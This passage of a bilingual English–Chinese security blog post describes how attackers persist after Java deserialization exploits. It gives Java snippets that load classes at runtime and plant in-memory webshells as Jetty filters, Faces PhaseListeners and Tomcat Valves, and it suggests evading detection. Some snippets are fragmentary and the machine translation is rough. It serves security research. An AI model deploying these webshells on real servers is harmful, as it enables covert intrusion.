但是,如果这些方法是从 main ClassLoader 中加载的类调用的,或者与当前线程上下文的类加载器 ClassLoader 不同的类调用,则会引发异常。与 Faces 交互的最简单方法是使用当前线程上下文的 ClassLoader :

byte[] classBytes = new byte[]{/* [...] */};
Method method = classLoader.loadClass("java.lang.ClassLoader")
    .getDeclaredMethod("defineClass", String.class, byte[].class, Integer.class, Integer.class);
((Class) method.invoke(Thread.currentThread().getContextClassLoader(), 
        className, classBytes, 0, classBytes.length)

Another option would be to lookup classes and invoke methods manually by querying the current thread context’s ClassLoader:
另一种选择是通过查询当前线程上下文来查找类并手动调用方法 ClassLoader :

Class klass = Thread.currentThread().getContextClassLoader().loadClass("javax.faces.context.FacesContext")
Object instance = klass.getMethod("getCurrentInstance", new Class[0])
    .invoke(null null);
// [...]

Finally, it should be noted that the same static method seems to exist on Mojarra Faces, so exfiltrating data this way should also work on this web framework, as long as the right package is used.
最后,应该注意的是,Mojarra Faces 上似乎存在相同的静态方法,因此只要使用正确的包,以这种方式泄露数据也应该适用于此 Web 框架。


As for Faces, a static method in Spring automatically looks up the current state of the application from ThreadLocals:
至于 Faces,Spring 中的静态方法会自动从以下位置 ThreadLocals 查找应用程序的当前状态:

// spring-web/src/main/java/org/springframework/web/context/request/
// [...]
     * Return the RequestAttributes currently bound to the thread.
     * <p>Exposes the previously bound RequestAttributes instance, if any.
     * Falls back to the current JSF FacesContext, if any.
// [...]
     * is bound to the current thread
     * @see #setRequestAttributes
     * @see ServletRequestAttributes
     * @see FacesRequestAttributes
     * @see jakarta.faces.context.FacesContext#getCurrentInstance()
    public static RequestAttributes currentRequestAttributes() throws IllegalStateException {
        RequestAttributes attributes = getRequestAttributes();
        if (attributes == null) {
            if (jsfPresent) {
                attributes = FacesRequestAttributesFactory.getFacesRequestAttributes();
            if (attributes == null) {
                throw new IllegalStateException("No thread-bound request found: " +
// [...]
                        "In this case, use RequestContextListener or RequestContextFilter to expose the current request.");
        return attributes;
// [...]

The HTTP request and its response can be obtained from an instance of a class extending RequestAttributes. For Servlet, the getRequest and getResponse methods of the ServletRequestAttributes class should be used:
HTTP 请求及其响应可以从扩展 RequestAttributes . 的类的实例中获取。对于 Servlet ,应使用 ServletRequestAttributes 类的 getRequest 和 getResponse 方法:

ServletRequestAttributes reqAttributes = (ServletRequestAttributes)RequestContextHolder
PrintWriter writer = reqAttributes.getResponse()

Hijacking HTTP flows 劫持 HTTP 流

The next step when exploiting arbitrary deserialization vulnerabilities when network traffic is filtered, could be to hijack the HTTP flows. This can be useful to persist at runtime and to only exploit the vulnerability once, by deploying in-memory webshells, even for environments that do not have JSP (Java Server Pages) files parsers.
在过滤网络流量时利用任意反序列化漏洞的下一步可能是劫持 HTTP 流。这对于在运行时保留漏洞以及通过部署内存中 Webshell 仅利用一次漏洞非常有用,即使对于没有 JSP(Java Server Pages)文件解析器的环境也是如此。

As for exfiltrating data, the following web environments could be targeted:
至于外泄数据,可以针对以下 Web 环境:

  • Javax Faces Javax 面孔
  • Spring with Tomcat embedded
    嵌入 Tomcat 的 Spring
  • Spring with Jetty 春天与码头

Some techniques against Embedded Tomcat are already covered in this interesting article and in the ysomap tool. The following chapters will demonstrate a first method that can be used against Spring with Jetty, another one against Javax Faces, and a third one targeting Spring with Tomcat using Valves.
这篇有趣的文章和 ysomap 工具中已经介绍了一些针对嵌入式 Tomcat 的技术。接下来的章节将演示第一种方法,该方法可用于使用 Jetty 来对付 Spring,另一种方法可用于 Javax Faces,第三种方法可以使用 Valve 来对付 Spring 和 Tomcat。


In Jetty, the main web service has its context managed by the WebAppContext class. However, from ThreadLocals, only an instance to its enclosed class Context can be obtained from the RequestContextHolder class mentioned before:
在 Jetty 中,主 Web 服务的上下文由 WebAppContext 类管理。但是,从 ThreadLocals 中只能从前面提到的 RequestContextHolder 类中获取其封闭类 Context 的实例:

WebAppContext.Context ctx = (WebAppContext.Context) (

In Java, a non-static enclosed class holds an instance of their enclosing class. Internally, a private field named this$0 is used to store this instance. In order to obtain an instance of WebAppContext, the following Java snippet can be used:
在 Java 中,非静态封闭类保存其封闭类的实例。在内部,一个名为 this$0 的私有字段用于存储此实例。为了获取 WebAppContext 的实例,可以使用以下 Java 代码段:

WebAppContext.Context ctx = (WebAppContext.Context) (
Field this0 = ctx.getClass().getDeclaredField("this$0");
WebAppContext appCtx = (WebAppContext)this0.get(ctx);

From there, custom filters can be defined on the running application in order to intercept requests:

WebAppContext.Context ctx = (WebAppContext.Context) (
Field this0 = ctx.getClass().getDeclaredField("this$0");
WebAppContext appCtx = (WebAppContext)this0.get(ctx);

Set<DispatcherType> set = new HashSet<DispatcherType>();
appCtx.addFilter(new FilterHolder(new Filter() {
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        if(!(servletRequest instanceof HttpServletRequest)) {
            filterChain.doFilter(servletRequest, servletResponse);
        if(((HttpServletRequest) servletRequest).getHeader("req_header") != null) {
            servletResponse.getWriter().write(((HttpServletRequest) servletRequest).getHeader("req_header") );
        filterChain.doFilter(servletRequest, servletResponse);
}), "/*", EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST, DispatcherType.FORWARD));

This could serve as a basis for in-memory webshells against Spring using Jetty. However, as for Embedded Tomcat, more work is required in order to put this filter in the top of the filter chain to intercept unauthenticated requests, depending on the targeted application.
这可以作为使用 Jetty 针对 Spring 的内存中 webshell 的基础。但是,对于嵌入式 Tomcat,需要做更多的工作才能将此过滤器放在过滤器链的顶部,以拦截未经身份验证的请求,具体取决于目标应用程序。

在使用 PHASES 的 JAVAX 面孔上

Requests can be intercepted in Faces by using PhaseListeners. They can be attached like Filters on Jetty or Tomcat, to the underlying web framework.
可以使用 PhaseListeners 在 Faces 中截获请求。它们可以像 Jetty 或 Tomcat 上的过滤器一样附加到底层 Web 框架。

A custom PhaseListener is structured as follows:
自定义的 PhaseListener 结构如下:

public class CustomPhase implements PhaseListener {

    public void afterPhase(PhaseEvent phaseEvent) {
        try {
            Map<String, Object> cookies = FacesContext.getCurrentInstance().getExternalContext()
            if (!cookies.containsKey("test"))
            Cookie cookie = (Cookie) cookies.get("test");
            // [...]
            HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance()
        }catch(Throwable tr) {
            // ignored

    public void beforePhase(PhaseEvent phaseEvent) {

    public PhaseId getPhaseId() {
        return PhaseId.RENDER_RESPONSE;

Once the class defined at runtime has been loaded using the current thread context’s ClassLoader, the new Phase can be registered to intercept requests:
一旦使用当前线程上下文加载了在运行时定义的类 ClassLoader ,就可以注册新的 Phase 类来拦截请求:

LifecycleFactory lifecycleFactory = (LifecycleFactory) FactoryFinder
Lifecycle applicationLifecycle = lifecycleFactory

applicationLifecycle.addPhaseListener(new CustomPhase());

Finally, more work could be required to actually make it really intercept any request. Additionally, it could serve as a basis for in-memory webshells.
最后,可能需要做更多的工作才能真正拦截任何请求。此外,它还可以作为内存中 webshell 的基础。

使用阀门的 TOMCAT 弹簧

In Tomcat, Valves can also be registered instead of Filters. These Valves were actually used to override a parameter that was rendered using JSP (Java Server Pages) to exploit the Spring4Shell vulnerability.
在 Tomcat 中,还可以注册 Valve 而不是 Filters。这些 Valve 实际上用于覆盖使用 JSP(Java Server Pages)渲染的参数,以利用 Spring4Shell 漏洞。

In pure Java, they can be registered as follows:
在纯 Java 中,它们可以按如下方式注册:

WebappClassLoaderBase lbase = ((WebappClassLoaderBase)(

Field fResources = getField(lbase.getClass(), "resources");
StandardContext ctx = (StandardContext) ((WebResourceRoot)fResources.get(lbase))

ctx.getParent().getPipeline().addValve(new ValveBase() {
    public void invoke(Request request, Response response) throws IOException, ServletException {
        // [...]
        // Intercept it
        // [...]
        if(this.getNext() != null) {
            this.getNext().invoke(request, response);

Conclusion 结论

The tricks presented in this blogpost could be adapted to stay under the radar during engagements. Relying solely on EDRs and WAFs could make exploitation steps harder, but will never replace patching the vulnerable applications.
这篇博文中介绍的技巧可以调整为在交战期间保持低调。仅依赖 EDR 和 WAF 可能会使漏洞利用步骤变得更加困难,但永远无法取代修补易受攻击的应用程序。

Some of the payloads mentioned here for Translets and Transformers are included in our GitHub fork or in this pull request to ysoserial’s repository.
这里提到的 Translets 和 Transformer 的一些有效负载包含在我们的 GitHub 分支中,或者包含在对 ysoserial 存储库的拉取请求中。

Note however that the gadget chains and vulnerable dependencies mentioned here are becoming fewer and fewer available on vulnerable applications. These tricks may therefore not be applicable as-is. Moreover, internal Translets will not be available from unnamed modules starting from Java 16, thus killing several gadget chains relying on it. We stay nonetheless confident that we will still find applications running on Java 7, 8 or 11 over the next years 🙂
但请注意,这里提到的小工具链和易受攻击的依赖项在易受攻击的应用程序上变得越来越少。因此,这些技巧可能不适用。此外,从 Java 16 开始,未命名的模块将无法使用 internal Translets ,从而扼杀了依赖它的几个小工具链。尽管如此,我们仍然有信心,在未来几年内,我们仍然会发现在Java 7、8或11上运行的应用程序:)

Additionally, the same logic mentioned here to inject in-memory webshells could be exploited from other types of vulnerabilities leading to RCE (e.g. SSTI and scripting engines).
此外,此处提到的注入内存中 Webshell 的相同逻辑可以从导致 RCE 的其他类型的漏洞(例如 SSTI 和脚本引擎)中利用。

Finally, we tried to highlight some of the environment limitations mentioned here by creating a crypto/web challenge for Hexacon, named AlmostIsoSerial (sources.7zvm.7z). You can find write-ups here.
最后,我们试图通过为 Hexacon 创建一个名为 AlmostIsoSerial ( sources.7z, vm.7z) 的加密/Web 挑战来强调这里提到的一些环境限制。你可以在这里找到文章。


版权声明:admin 发表于 2024年3月22日 下午11:54。